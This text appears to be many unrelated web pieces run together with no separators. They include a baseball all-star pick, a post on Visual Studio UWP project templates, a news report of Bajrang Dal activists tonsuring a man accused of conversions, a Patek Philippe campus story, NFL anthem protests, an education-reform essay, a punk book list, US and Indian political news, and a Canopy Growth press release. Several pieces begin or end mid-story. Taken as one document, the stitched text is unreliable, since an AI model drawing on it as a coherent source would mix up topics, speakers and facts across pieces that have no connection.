Outfielder: A.J. Pollock, Arizona Diamondbacks
It's tempting to land on Ryan Braun as a representative for the Milwaukee Brewers, but the baggage he comes with muddies the picture. Besides, Pollock is more deserving. He's an excellent defensive center fielder who also has a .791 OPS, nine homers and 16 stolen bases.
Utility: Justin Turner, Los Angeles Dodgers
Let's see, for creating a Windows 10 app there's... one UI template. Yeah, one, "Blank App. - A project for a single-page Universal Windows Platform app that has no predefined controls or layout."
Um, okay... I was hoping for a little more and I've seen discussions that others are two.
Well the community has risen to the challenge! Koen Zwikstra and First Floor Software have not only released four templates to the Visual Studio Gallery but also released them to GitHub too. :)
Announcing additional project templates for creating Universal Windows Platform (UWP) apps in Visual Studio 2015. The project templates serve as a great starting point for creating different type of UWP apps. The Visual Studio extension is named UWP Templates, and includes the following new project templates; Blank App, a basic XAML project with a single XAML page. Similar to the standard Blank App template, included in the Windows 10 tools, but without the Application Insights telemetry stuff. SplitView App, a multi-page app project with adaptive split view layout Composition App, a framework-less project for creating apps using the visual layer and Windows.UI.Composition APIs Composition XAML App, a project for both XAML and Windows.UI.Composition APIs The UWP Templates extension supports Visual Studio 2015 Community Edition and up. The extension is available in the Visual Studio Gallery. The full source code of the extension is available at GitHub.
Install the extension is fast and using them is quick and easy too.
Project New, Click, click and you have the starting point for your next UWP app! :)
Follow @CH9
Follow @coding4fun
The Bajrang Dal activists tonsured the man for allegedly converting Hindus and paraded him through the town after his shaving his hair, eyebrows and moustache.
The mob reportedly accused Awdhesh Savita of luring Hindus on the pretext of attending a satsang and allegedly converted them to Christianity.
The activists did not allow Awdhesh to be taken to the police station following which, the police and PAC personnel reached the spot and took the victim to Orai Kotwali police station.
The Bajrang Dal activists also allegedly claimed that the victim forced Hindus to consume beef against their will.
Now, over 11 years later, the brand will relocate all of its Geneva-based activities back to the Plan-les-Ouates campus, which is able to accommodate the expansion due to the purchase of an adjoining lot in 2009. The new building will be massive – containing approximately 50,000 square meters across six above-ground levels, and four levels underground.
Construction is expected to begin this spring, lasting an estimated four years. Interestingly enough, the entire nine-figure project was financed entirely by Patek Philippe.
More specifically, the investment will also be applied to the following areas of Patek's business:
Applied Research
New homologation (full process of testing, certification, and approval) laboratories will be created, facilitating more intensive research in new horological technologies.
Rare Handcrafts
A new department with 40 in-house and external artisans will be dedicated to "Rare Handcrafts." These crafts include, but are not limited to, enameling, guilloché, and engraving – perhaps best seen on the highly-decorated Grandmaster Chime Ref. 5175R.
Service
Of special import to existing collectors, the manufacture will consolidate its repair facilities, providing both manufacturing and warehouse space for spare parts. Additionally, Patek will strengthen its focus on restoring old timepieces.
Training
With an eye on the future of their business, training will be centralized for watchmaking and repairs. Sales and marketing training for worldwide distributors will also be centralized.
Aaron Rodgers and the Packers lined up on the sideline, arms locked together:
CBS cameras showed the fans adhering to the request to link arms:
ESPN’s Michele Steele tweeted that most fans did not actually link arms.
Vast majority did not link arms but many sang along w the anthem. Right behind GB bench a sign: "Shame on the NFL. Vets stand for the flag" — Michele Steele (@ESPNMichele) September 29, 2017
The Bears also linked arms during the anthem:
Earlier in the week, Aaron Rodgers made a request that fans join the team.
"This is about equality," Rodgers said Tuesday. "This is about unity and love and growing together as a society and starting a conversation around something that may be a little bit uncomfortable for people.
“But we've got to come together and talk about these things and grow as a community, as a connected group of individuals in our society, and we're going to continue to show love and unity, and this week we're going to ask the fans to join in as well and come together and show people that we can be connected and we can grow together."
The Packers would also later release a statement, inviting fans to link arms.
Some fans at the game yelled and chanted “USA” when the players locked arms. After, Rodgers said that he wasn’t discouraged.
"It was an invitation to join us. The beauty is, it's a free country, so they can choose to do it or not," Rodgers said, via ESPN’s Rob Demovsky. "The messaging of this unfortunately needs to continue to be redirected, I think. It's never been about the national anthem, it's never been about the military. We're all patriotic in the locker room; we love our troops. This is about something bigger than that: an invitation to show unity in the face of some divisiveness from the top in this country."
NFL players showed a variety of demonstrations during the national anthem during Week 3. Some players took a knee to protest police brutality and injustices against people of color, some linked arms in an attempt to deliver a message of “unity,” and some stayed off the field for the anthem entirely.
The outpouring of demonstrations was ignited by comments President Donald Trump made at a rally in Alabama last weekend, when he said NFL owners should fire players who “disrespect the flag” and called them “sons of bitches.”
By P.L. Thomas
“I am an invisible man,” announces the unnamed narrator of Ralph Ellison’s Invisible Man, adding:
I am invisible, understand, simply because people refuse to see me….When they approach me they see only my surroundings, themselves, of figments of their imaginations—indeed, everything and anything except me….That invisibility to which I refer occurs because of a peculiar disposition of the eyes of those with whom I come in contact….you often doubt if you really exist….It’s when you feel like this that, out of resentment, you begin to bump back. And, let me confess, you feel that way most of the time. You ache with the need to convince yourself that you exist in the real world, that you’re a part of all the sound and anguish, and you strike out with your fists, you curse and you swear to make them recognize you. And, alas, it’s seldom successful.
After the reader follows the narrator along his journey from naivete and idealism to the battered realism of coming face-to-face with his invisibility, we discover that his invisibility leads to hibernation:
I’m an invisible man and it placed me in a hole—or showed me the hole I was in….So I took to the cellar; I hibernated. I got away from it all. But that wasn’t enough. I couldn’t be still even in hibernation.
Invisibility and hibernation represent well the education profession because educators are more and more rendered invisible and as a result have hibernated, literally in their rooms (shut the door and teach) and figuratively in their muted voices (teachers are to be objective, neutral, apolitical).While the main elements of the current education reform movement—expanding charter schools, implementing and testing Common Core (CC), Teach for America (TFA), value-added methods (VAM) of teacher evaluation, merit pay—have created a significant amount of political and public debate (debates that by their very nature lend credibility to all of these reform policies), absent from that debate has been an essential message about the field of education: All of these education reform policies suggest that no field of education even exists.
Education: The Invisible Profession
Two powerful and persistent responses from the new reform advocates when anyone (especially an educator) challenges their reform agendas include (a) teachers are against reform and want the status quo, and (b) while teachers are quick to criticize X reform policy, they never offer any solutions of their own.
These responses are not accurate (most educators are reformers at heart, and educators, thus, have many things to offer in terms of better reform agendas), but most of all they exist in a narrative that renders the entire field of education invisible.
Modern education as a field of study is over a century old. A great deal of consensus and enduring debates characterize teacher education, pedagogy, curriculum, teacher evaluation, and assessment—all rich and vibrant elements of the larger field of education, informed by decades of practitioners and educational researchers and well as theorists and philosophers.
My doctoral work included writing a biography of Lou LaBrant, who lived to be 102 and taught from 1906-1971. Recurring messages of LaBrant’s work as a teacher and scholar reveal an ignored fact of the teaching profession: Education in the U.S. has been primarily driven by political and bureaucratic mandates that have reduced teachers to implementing education policy, not creating it.
In LaBrant’s unpublished memoir (written during the Reagan administration), she also catalogued living and teaching through three back-to-basic movements, highlighting the bulk of a century of digging the same standards-based reform hole that has never once been shown to work.
The most recent 30 years have intensified that legacy which reaches back to at least the first decade of the 20th Century, but was identified by LaBrant (1947) directly: “A brief consideration will indicate reasons for the considerable gap between the research currently available and the utilization of that research in school programs and methods.”
In effect, then, for a century, teachers have been invisible in their own field, except as both compliant workers implementing political and bureaucratic mandates and as often-silent scapegoats as that bureaucracy fails. However, even that teachers have primarily been those who implement education policy instead of those creating it is more complicated than it seems.
Regie Routman documented the typical dysfunction that characterizes education policy. By the 1990s, California’s state literacy curriculum was being labeled a failure by politicians, the media, and the public; the culprit was whole language.
Yet, Routman unmasked the charges as misleading because of two factors: (1) Much of the measurable decline in California test scores was strongly correlated with decreased education funding and an influx of English language learners, and (2) while teachers received extensive in-service for implementing whole language, the vast majority of the teachers returned to their classes, shut their doors (hibernated), and taught as they had been taught, as they had always taught—thus, never implementing the whole language pedagogy and curriculum that constituted the official bureaucracy of the state.
The current reform agenda fails to seek from teachers themselves either what the primary challenges are facing education or what credible solutions would best address those hurdles. As a result, teachers as invisible workers rebel as Ellison’s narrator does, by hibernating and embracing their autonomy and agency in ways that do not serve them, their students, or education well.
Just as teenagers seek out self-defeating ways to appear adult (cigarettes, alcohol, recreational drugs, sex) as expressions of their autonomy and agency, invisible workers of all kinds respond in dysfunctional ways when their autonomy is denied and their voices muted—just as Routman detailed about California during the rise and fall of whole language.
CC, charter schools, TFA, VAM, and merit pay plans are driven by advocates who refuse to see not only teachers but also the entire history and field of education, or as Arundhati Roy explains, “We know of course there’s really no such thing as the ‘voiceless.’ There are only the deliberately silenced, or the preferably unheard.”
If teacher quality is a genuine problem in U.S. public education, we already have a knowledge base for teacher preparation, teacher evaluation, and compensation.
If curriculum and pedagogy are genuine problems in U.S. public education, we already have a knowledge base for curriculum and pedagogy.
Let’s allow for the first time in history educators the recognition they deserve to examine, evaluate, and reform their own field. Current reform that is top-down and driven by the same historical and bureaucratic methods that have brought us to where we now stand is destined to repeat the same patterns we have already experienced for over 100 years.
But educators must step outside the social norm of apolitical, silent, hibernating teachers. Educators must confront our invisibility, but most of all, our culpability in our own de-professionalization, our hibernation, as Ellison’s narrator recognizes:
Even hibernations can be overdone, come to think of it. Perhaps that’s my greatest social crime, I’ve overstayed my hibernation, since there’s a possibility that even an invisible man has a socially responsible role to play.
Alternative Education Reform: Among the Invisible and “Preferably Unheard”
Educators as workers in a profession rendered invisible and “preferably unheard” are increasingly being demonized, marginalized, and challenged as defenders of the status quo and anti-reformers.
The Sisyphean hell of being a teacher includes having almost no autonomy or power in educational policy but receiving the brunt of the blame when the outcomes of those policies do not meet the goals promised.
Yet, throughout the academic and scholarly press as well as the public media and “new” media, such as blogs, educators, researchers and scholars present daily alternatives to the repackaged reform movement committed to the same failed policies that have plagued education for a century—standards, testing, and assorted business models of efficiency forced onto education.
Education is a massive and complex endeavor, and the common-sense perception of how to address teaching and learning, how to reform schools that appear to be broken, envisions equally massive and complex solutions (think VAM and merit pay).
And here is where educators may be trapped in our quest to discredit misguided reform and to take ownership of credible reform: Our alternatives appear too simple on the surface but are incredibly complicated, unpredictable, and unwieldy in their implementation. In short, most credible calls for education reform are outside the box thinking when compared to traditional education, business models, and social norms.
For example, Larry Ferlazzo in one sentence dismantles much of the current reform movement and offers alternatives:
Even though it’s not necessarily an either/or situation, I would suggest that both educators and students would be better served by emphasizing creating the conditions for intrinsic motivation over teaching techniques designed to communicate standards-based content.
Again, maybe this is too simple, but education reform does not need new standards, new tests, or new accountability and evaluation/merit pay policies. Education reform is needed, but should be re-imagined as a few different paradigms:
• Instead of a standards-based education system that places the authority for curriculum in a centralized bureaucracy, teacher autonomy and expertise should be the focus of reform—paralleling the culture of higher education in which professors are hired for field expertise as well as the teaching of their fields. [This change in the mindset of reform and the culture of K-12 schools, thus, creates the conditions in which a revised paradigm in accountability can be implemented.]
• Instead of a test-based education system that measures, quantifies, ranks, and evaluates, high-quality and rich feedback for both teachers and students should be the focus of reform; feedback is formative and thus contributes positively to learning and growth.
• Instead of high-stakes accountability focusing on outcomes and that demands compliance as well as blurs causation and correlation (teachers, for example, being held accountable for student outcomes), teacher accountability focusing on the learning conditions provided by the teacher should be embraced. This reform measure should emphasize the equity of opportunity provided all students [1], regardless of the teacher, the school the community, or the home environment.
• Instead of devaluing teacher preparation through alternative programs or ideologies that suggest content knowledge is more valuable than (or even exclusive of) pedagogy and through teacher evaluation policies that label, rank, and seek to fire teachers, teacher preparation and teacher evaluation should honor the complex nature of content knowledge and the pedagogy needed to teach that knowledge (see the first bullet above) while emphasizing mentoring and teaching as constant learning over stack ranking and dismissing a predetermined percentage of teachers.
Educators know what and how to teach. Education is a rich field with a tremendous amount of consensus and enduring debates along the spectrum of subcategories that constitute education—pedagogy, curriculum, assessment, teacher preparation, teacher evaluation, and more.
The great irony of the need to shift away from the historical dependence on bureaucratic efficiency models of education reform and toward a professional and scholarly culture of being a teacher and conducting schooling is that the latter is far more challenging for teachers and students, and as Ferlazzo explains:
Let’s look at what some research shows to be necessary to create the conditions for intrinsic motivation to flourish, and how that research can be applied specifically to teaching and learning about reading and writing….Pink argues that there are three key elements required for the development of intrinsic motivation—autonomy, mastery, and purpose…..Helping students to motivate themselves is a far more effective and energizing teaching/learning strategy than the faux magical one of extrinsic motivation.
Both teachers and students can and will benefit from education reform that focuses on the conditions of learning that honor “autonomy, mastery, and purpose” in ways that allow for failure, revision, and unpredictable outcomes—none of which are fostered in the efficiency model that historically and currently corrupts education reform.
[1] See Wright’s examination of access to equitable early childhood education
Reference
There are tons of nonfiction books about the punk scene — from musician memoirs, to oral histories, to punk rock profiles of cities from Washington D.C. to the Bay Area and everywhere in between. So tap into that long-lost (or totally alive and moshing) riot girl in you, with these 11 nonfiction books about punk. Read em’ and then go listen to some Bikini Kill. You know you want to.
1. Please Kill Me: The Uncensored Oral History of Punk by Legs McNeil and Gillian McCain
If you’re reading this list then this book is almost definitely already on your shelves — but no collection of nonfiction punk lit is complete without it, so here you are. Compiled by music journalist and Punk magazine founder, Legs McNeil, and poet Gillian McCain, Please Kill Me features the intertwined oral histories of everyone from the Ramones and Iggy Pop to Blondie and Patti Smith, and will give you one full-bodied, comprehensive glance into the east coast punk movement.
Click here to buy.
2. Clothes, Clothes, Clothes. Music, Music, Music. Boys, Boys, Boys. by Viv Albertine
As the guitarist for the female punk group The Slits, Viv Albertine has one badass story to tell. As one of the early female punk artists who challenged the boundaries of what was a largely male-dominated music scene, Albertine did everything from touring with the Clash to helping define punk fashion. It’s all in her memoir: Clothes, Clothes, Clothes. Music, Music, Music. Boys, Boys, Boys. — plus a peek into what her life was like post-punk revolution.
Click here to buy.
3. Hunger Makes Me a Modern Girl by Carrie Brownstein
Published late last year, Hunger Makes Me A Modern Girl is just one of the latest additions to the punk rocker library must-haves. Sleater-Kinney guitarist and Portlandia actress Carrie Brownstein takes you behind the scenes in the life of a true riot grrrl — from her young artistic development growing up in the suburbs of Seattle, Washington, to her evolution into a guitar shredding feminist rocker.
Click here to buy.
4. Cinderella's Big Score: Women of the Punk and Indie Underground by Maria Raha
It’s no secret that the punk scene began as a male-dominated one. But just because the women of punk music weren’t making headlines, it doesn’t mean they weren’t there. Cinderella's Big Score: Women of the Punk and Indie Underground is a comprehensive study of these female artists. Beginning in the early days of punk (circa the 1970s) and taking readers all the way through the mainstreaming of punk in the 1990s, this book celebrates the women of punk rock who refused to be labeled, undervalued, and ignored.
Click here to buy.
5. Rip it Up and Start Again by Simon Reynolds
First there was punk, then there was post-punk… perhaps even punk-ier than the punk-ness of original punk. You with me? When punk finished revitalizing rock ‘n’ roll, post-punk revived punk — with bands like Joy Division, Talking Heads, and (clearly Simon Reynold’s fave) PiL. In addition to geeking out over some of post-punks most loved musicians, Reynolds dives into the sociological, cultural and political background of the post-punk scene as well.
Click here to buy.
6. Violence Girl: East L.A. Rage to Hollywood Stage, a Chicana Punk Story by Alice Bag
In the 1970’s East L.A.-native Alicia Armendariz moved to Hollywood to become Alice Bag, and never looked back. Violence Girl: East L.A. Rage to Hollywood Stage, a Chicana Punk Story is in a unique category of punk memoirs all its own, written by the boundary-crossing lead singer for the Bags. More than a punk rock story, Violence Girl is a coming-of-age story — that of one girl who transcended her violent and abusive childhood and reinvented herself as one of punk’s leading ladies.
Click here to buy.
7. Pretty in Punk: Girl's Gender Resistance in a Boy's Subculture by Lauraine Leblanc
A comprehensive guide into the myriad ways women influenced the punk movement, Pretty in Punk: Girl's Gender Resistance in a Boy's Subculture ventures well beyond the boundaries of Mohawk-sporting gals rocking on stage. Exploring the cultural messages that minimize, stereotype, and victimize young women, Lauraine Leblanc then champions the girls and women who have resisted these messages, forged their own paths, and dared to be all but exactly what was expected of them.
Click here to buy.
8. Burning Britain: The History of UK Punk 1980-1984 by Ian Glasper
No punk library is complete without a few titles about the UK punk scene — it did give us the Clash, after all. Filled with can’t-miss interviews and iconic photographs, Burning Britain: The History of UK Punk 1980-1984 covers everything there is to know about the heyday of UK punk.
Click here to buy.
9. A Riot of Our Own: Night and Day with the Clash by Johnny Green and Garry Barker
Speaking of the Clash, if you’ve ever wondered what exactly being on the road with the band was like, Johnny Green’s A Riot of Our Own: Night and Day with the Clash is definitely the book for you. Green was a fan of the band before joining their road crew and becoming their road manager, stage manager, and occasional driver. Over the three years he spent on the road with the Clash, he saw it all. This book’ll give you the inside scoop.
Click here to buy.
10. Girls to the Front: The True Story of the Riot Grrrl Revolution by Sara Marcus
If you spent the ‘90s hiding your Bikini Kill and Heavens to Betsy albums from your parents, then this book will have you feeling all the riot grrrl feels. Girls to the Front: The True Story of the Riot Grrrl Revolution is the comprehensive history of the Riot Grrrl movement— the underground feminist hardcore punk movement that started in the Pacific northwest, and eventually took the American punk scene by storm. Celebrate this wave of feminist rockers who stood up and spoke up.
Click here to buy.
11. We Owe You Nothing: Expanded Edition: Punk Planet: The Collected Interviews edited by Daniel Sinker
Chicago-based Punk Planet magazine accomplished a lot during its 13 years and 80 issues in print. In addition to covering punk music and subculture in its 16,000-print run, it also focused on feminism, visual arts, and labor issues. But as any reader of Punk Planet knows, the interviews were everyone’s favorite. And even though the magazine is no longer in print, you can get those interviews in We Owe You Nothing — the expanded collection of Punk Planet’s interviews. Featuring inspiring, edgy, and provocative conversations with everyone from punk rock musicians to political organizers, this collection is fantastic.
Republican presidential candidate Ron Paul on Tuesday declared that Democratic Massachusetts Senate candidate Elizabeth Warren was a “socialist.”
At a campaign event earlier this year, Warren told supporters that there is “nobody in this country who got rich on his own.”
“You built a factory out there — good for you. But I want to be clear. You moved your goods to market on the roads the rest of us paid for. You hired workers the rest of us paid to educate. You were safe in your factory because of police forces and fire forces that the rest of us paid for. You didn’t have to worry that maurauding bands would come and seize everything at your factory,” she said.
ABC News’s Terry Moran asked Paul why Warren was wrong.
“Because she’s a socialist,” Paul replied. “She wants the government to do all this.”
“Educating children is socialism?” Moran wondered.
“That is a socialist idea, that it should be collective,” Paul explained. “I preach home schooling, and private schooling and competition in schools. But what she forgets — she’s right. You know, by the use of force, the government comes with a gun and they take money and they build a highway that, incidentally, you can use because you don’t have any other choices.”
“So in Ron Paul’s ideal America, there would be no public highways, no public education?” Moran pressed. “There’d be no public air traffic control system? There’d be no public protection for workers in coal mines?”
“That’s an overstatement because it might be a lot better,” Paul said. “I think France has a private air traffic controllers.”
It isn’t the first time Warren has been called a socialist.
An unemployed supporter of the the tea party lost his cool at a Warren campaign event last week and called her a “socialist whore.”
“If you’re the intellectual creator of that [Occupy Wall Street movement], you’re a socialist whore,” he said. “I don’t want anything to do with you.”
After the meeting, the candidate told The Huffington Post that she “actually felt sorry for the guy.”
“He’s been out of work now for a year and a half. And bless his heart, I mean, he thought somehow it would help to come here and yell names.”
Michael W. Grebe, who has helped make Milwaukee the intellectual epicenter of the conservative movement, will retire as the head of the powerful Bradley Foundation by June 30.
Grebe, 74, made the announcement in a recent letter to supporters of the Milwaukee-based foundation. He was named CEO and president of the $850 million foundation in 2002.
"Next Sunday, I'm going to be celebrating my 75th birthday," Grebe said Thursday, adding that the milestone led him to reflect on his life and career.
"I still love the job, and because I'm fortunate to be in very good health, I could continue to do it for several more years," Grebe continued. "But this just seems to me like a good time to move on. So I told our board a couple of months ago that I wanted to retire next year."
Grebe, who earned two Bronze Stars in Vietnam, long was a lawyer at Foley & Lardner in Milwaukee, eventually becoming chairman and chief executive officer of the firm.
He said he will not be stepping away from his involvement in Republican Party politics.
"I'm not capable of that," said Grebe, who has served as the chairman of Gov. Scott Walker's state campaign committee since 2009 and Walker's failed presidential campaign this year. Grebe previously served as general counsel to the Republican National Committee.
Grebe received a salary of $518,240, plus $318,881 in retirement and other benefits, from Bradley in 2013, the last year for which federal records are available.
Cleta Mitchell, a Bradley board member, said Grebe will leave behind a legacy of expanding the foundation's reach and influence as the group helped underwrite conservative groups and individuals around the country.
"The Bradley Foundation is now the leading conservative grant-making foundation in the country, probably the world," said Mitchell, who worked with Grebe at the Foley law firm. "It's pretty remarkable."
Named for Lynde and Harry Bradley, who helped found Milwaukee's Allen-Bradley Co., the foundation has been a primary source of income for some of the biggest and most influential conservative think tanks and nonprofits over the past three decades.
Among past recipients have been the Heritage Foundation, the American Enterprise Institute, the American Legislative Exchange Council and the Federalist Society— all trying to put their stamp on the three branches of government.
Millions more have gone to just about every major conservative publication, including such magazines as Reason, Crisis, First Thingsand National Affairs.
Ideologically, Bradley has underwritten the groups that define and defend bedrock economic, educational and foreign policy issues within the conservative movement.
Bradley dollars flow to groups that favor curtailing the influence of unions, promoting school choice legislation, deregulating campaign finance laws and strengthening American defense — ideas often embraced by Walker and other Wisconsin politicians.
Locally, the foundation has given millions of dollars for arts, education and civic groups, ranging from the Milwaukee Symphony Orchestra to School Choice Wisconsin.
Under Grebe's leadership, Bradley became more directly involved in media and politics.
The group has, for instance, helped jump-start such Wisconsin-based conservative online media outlets as Media Trackers and Wisconsin Watchdog. Grebe has also played host at an annual gala in Washington, D.C., in which the foundation gives $250,000 grants to four or five pundits and opinion leaders for their role in advancing the conservative cause.
Not everyone is happy with Bradley's growing influence under Grebe.
"The Kochs are getting a lot of attention, but Michael Grebe has long been the ghost in the machine as a top funder of the right-wing infrastructure," said Mary Bottari, deputy director of the left-leaning Center for Media and Democracy.
Bottari said the foundation has lost credibility for its role in setting up front groups, attack-dog media outlets and fake grass-roots organizations.
"Michael Grebe took the $800 million-plus he controlled as head of the Bradley Foundation and integrated it into the fabric of state and national GOP politics — promoting right-wing policies (and) defending favored politicians," said Mike Browne, deputy director of the liberal group One Wisconsin Now, a group that tracks Grebe and Bradley's activities.
But Grebe said Thursday that he has always kept his work at the foundation separate from his political involvement.
"That is totally unrelated," he said.
At a Thursday afternoon news conference, Walker had kind words for his campaign chairman, telling Journal Sentinel reporter Mary Spicuzza that Grebe has played a "key role" in Walker's campaign over the past five years.
Grebe also was one of the small number of Walker allies to attend the emergency meeting in mid-September that prompted the governor to abandon his bid for the GOP presidential nomination.
Walker's close ties to the organization were made clear when just days after he was first elected governor, he met privately with Bradley's board and senior staff at Bacchus, a swanky Milwaukee restaurant.
But the Republican governor made it clear on Thursday that he isn't interested in replacing Grebe at Bradley. Walker said he was happy in the governor's mansion.
Dennis Kuester, the former chairman of M&I Bank and now Bradley board chairman, said the board has already retained a search firm to help find Grebe's successor. Grebe is only the second CEO of the 29-year-old foundation, having replaced Michael Joyce.
Kuester emphasized that the foundation will remain in Milwaukee and its next leader will reside here.
Mitchell, the Bradley board member, said the next CEO of the foundation will face a tall task, noting that Grebe has left a "large footprint."
"Mike is such a great combination — philosophical, conservative, leadership skills, and he has that political gene. He's multifaceted and has all of the attributes," Mitchell said. "I don't think it's going to be easy to find another person with all those."
His proactive campaigning in the state, to which he has made three outings in less than a month (with another scheduled visit to Agra on 21 November) have only fueled rumours that he may stand as a candidate from the state to further boost the BJP's poll prospects. As a development oriented leader from a backward community with strong Hindutva credentials, Modi would have come to UP as a fiery Mandal, Kamandal and Vikas combo - a hugely attractive electoral proposition in the state.
However BJP sources have told Firstpost that Modi has informed party president Rajnath Singh that he has no desire to contest from UP, preferring instead to head the reorganisation of the party in the state and help with the fine tuning of poll strategy there. He will therefore, most likely contest polls from his home state, Gujarat. He has not decided however which of the 26 seats of the state would be a good constituency for him.
According to the party sources, Modi had told Rajnath Singh that it would not be a wise idea for him (as the BJP’s prime ministerial candidate) and Singh (as BJP president) to contest from the same state. Both the leaders are firmly rooted in their respective home states and it is important for the BJP to show diversity in their leadership.
Sources said Modi also does not want to contest from two constituencies, one in Gujarat and the other in Uttar Pradesh.
Even if he were to win both seats, there are several historical examples showing how leaders who won from two constituencies had to face the wrath of people of the constituency they later chose to vacate. The most recent example is that of Akhilesh Yadav who won from two constituencies in the last parliamentary elections. When he vacated Ferozabad and fielded his wife Dimple there instead, she lost to Raj Babbar, the actor turned politician who had revolted from the Samajwadi Party and joined Congress prior to the elections. In Modi’s case the backlash situation may not just be constituency-centric but also state-centric. Something that is completely undesirable for the leader and the party.
The issue is also linked with the Gujarati pride that Modi invokes so often.
He is working to don Sardar Patel’s mantle and a decision to move out of Gujarat to contest elections would hurt that pride and create some popular backlash against him and the BJP. Before the new one word chant of “Modi, Modi, Modi…” became popular, the most popular slogan for party workers had been Dekho Dekho Kaun Aya Gujarat Ka Sher Aya. Modi's Prime Ministerial claims have been built on governance in Gujarat, and in his recent Bahraich rally he spoke of Gir lions and how lions are known for roars, with barely disguised pride.
Moreover, the leaders who have moved out of their home states to find more convenient electoral abodes in some other states have mostly done so, not because they loved the other state so much but because they couldn’t find a suitable and perpetually safe constituency in their home state. This is not the case with Modi.
But Rhetoric apart, it could be Rajnath Singh who captures Lucknow to lead Modi’s onward march from Gujarat to Delhi.
The BJP leader is under pressure from his sympathisers and party workers to shift from his Ghaziabad parliamentary constituency to either Noida or Lucknow. Both are urban constituencies and have a BJP tilt. Lucknow in particular, is considered quite prestigious for BJP. It was Atal Bihari Vajpayee’s constituency and is currently held by BJP’s Lalji Tandon.
In his rallies in UP, Modi is evoking the sub-nationalism of people of the state and asking why the state has remained backward despite the fact that it has given eight Prime Ministers to the country.
He candidly proclaimed that there would be no stopping him if UP alone decides to make a strong and stable government at the centre. In its previous regimes, the NDA could catapult to power only because, UP gave 55 plus seats to BJP in 1996 and 1998. He does seem to believe in the old saying that the road to Delhi leads from Lucknow. (Vajpayee indeed spelled Lucknow as “Luck Now” at the last BJP convention he attended there).
The Republican presidential candidate spelled out his immigration and foreign policies to an appreciative crowd in Youngstown, Ohio who interrupted him several times with chants of "Trump!Trump! Trump!"
Trump said if elected, he will institute a new immigration policy that will be tough. Would-be immigrants will go through "extreme vetting" to make sure the U.S. keeps out supporters of bigotry and hatred, and those who do not believe in the U.S. constitution, he said.
Trump said he would temporarily suspend immigration from "the world's most volatile and dangerous regions" with a history of supporting terrorism.
He said the immigration flow to the U.S. is currently too large to allow for "adequate screening."
WATCH: Trump statement about Islamic State
Foreign policy
If he becomes president, Trump said U.S. foreign policy would focus on wiping out the spread of radical Islam and said anyone who shares this goal would be a U.S. ally.
Trump went down a lengthy list of terror attacks carried out by Islamic extremists in the U.S. and Europe. He promised to hold an international conference on how to fight "the ideology of death that must be extinguished."
He also attacked both President Barack Obama and former secretary of state Hillary Clinton for showing what he says was bad judgement in Iraq, Syria, and Libya.
Trump eased away from his controversial statement calling Obama "the founder of Islamic State," saying instead that Obama's "naive words and naive actions" unleashed ISIS and "without question," allowed it to flourish.
Clinton lacks the "mental and physical stamina" to take on Islamic State, Trump asserted, without saying exactly what he means.
Clinton, Biden question Trump's qualifications for White House
Shortly before the Republican presidential nominee spoke, Clinton and Vice President Joe Biden campaigned in Biden's hometown of Scranton, Pennsylvania where they both questioned Trump's temperament, intellect, and qualifications for entering the White House.
"No major party nominee in the history of the United States of America has known less or been less prepared to deal with our national security than Donald Trump," Biden said.
WATCH: Biden on Trump's impulsiveness
Clinton mocked Trump's insistence that the Republican candidate knows more about Islamic State and conditions on the ground in Iraq than American generals.
Clinton later tweeted:
Losing "winnable race"
Meanwhile the conservative Wall Street Journal, a traditional backer of Republican ideals, said Trump is "on the path to losing a winnable race."
The newspaper strongly criticized Trump in a Monday editorial, saying he would rather watch TV news talk shows instead of reading policy papers, prefers large crowds at rallies over an organized campaign, and says his "shoot-from-the-hip" style is alienating many Republicans and independents.
The Journal said if Republican leaders cannot get Trump to change his act soon, they will "have no choice but to write off the nominee as hopeless." It says Trump needs to "stop blaming everyone else and decide if he wants to behave like someone who wants to be president."
Trump campaign chief under investigation
Also Monday, The New York Times reported that Ukrainian anti-corruption investigators are probing whether Trump campaign chairman Paul Manafort got an illegal multi-million dollar payoff from the pro-Russian party of former Ukrainian President Viktor Yanukovych.
Manafort was a Yanukovych consultant before the deposed president fled the country in a 2014 popular uprising.
The Times reports Manafort's name appeared in a hand-written ledger showing $12.7 million in cash was earmarked for him. The anti-corruption bureau is looking into whether the off-the record payment came from stolen Ukrainian government assets.
Like the Company's CraftGrow program that gives existing Licensed Producers access to marketing, distribution, and other tailored support, these funds are meant to invest in micro-growers on business terms that meet the needs of small-scale growers, while proving to be a strong investment for Canopy Rivers. Where possible, the Company will aim to identify small growers who have been underrepresented in the industry to-date, with the hope of creating a more inclusive and diverse cannabis industry.
"Canadian entrepreneurs have built world-class cannabis growing facilities under the ACMPR system," said Mark Zekulin, President, Canopy Growth Corporation. "Supporting new and smaller growers will create a more diverse market that meets the needs of all consumers. As a natural progression of our current CraftGrow program, we have an opportunity to build upon our growing roster of budding partners. Canopy Growth grew to be the leader in this sector by working collaboratively and seeking to bring the entire sector to new heights, and this has been a successful formula for our Company and our partners."
Canopy Rivers will be creating a special advisory committee to oversee the application process for micro-growers and processors, which will make appropriate and guided decisions on the most suitable recipients for the funds. More information will follow as the federal rules governing this new class of grower become clear.
Following the recent announcement that the new management of Larssen Ltd. ("Larssen") intends to disrupt Larssen's existing projects with Canadian cannabis companies that are deemed to not be in the singular best interest of the new management, Canopy Growth wishes to confirm that it has no current or intended work with Larssen. With approximately 2.3 million square feet of greenhouse currently under operation or expansion, Canopy will offer assistance to any of the impacted cannabis companies so that the sector can continue to grow to meet the needs of Canadians at this critical juncture in the path towards the end of prohibition.
Here's to Future Growth of All Sizes.
About Canopy Growth Corporation
Canopy Growth is a world-leading diversified cannabis company, offering distinct brands and curated cannabis varieties in dried, oil and capsule forms. Through its wholly-owned subsidiaries, Canopy Growth operates numerous state-of-the-art production facilities with over 700,000 square feet of licensed production, over 500,000 square feet of which is GMP-certified. Looking forward to 2018, Canopy Growth and its affiliates are developing a production platform that will represent millions of sq. ft. of indoor and greenhouse production capacity, all operated with world-leading production, quality assurance procedures, value-add post processing, research, and testing. Canopy Growth has established partnerships with leading sector names in Canada and abroad, with interests and operations spanning seven countries and four continents. The Company is proudly dedicated to educating healthcare practitioners, providing consistent access to high quality cannabis products, conducting robust clinical research, and furthering the public's understanding of cannabis. For more information visit www.canopygrowth.com.
Notice Regarding Forward Looking Statements
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Neither the TSX Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Exchange) accepts responsibility for the adequacy or accuracy of this release.
SOURCE Canopy Growth Corporation
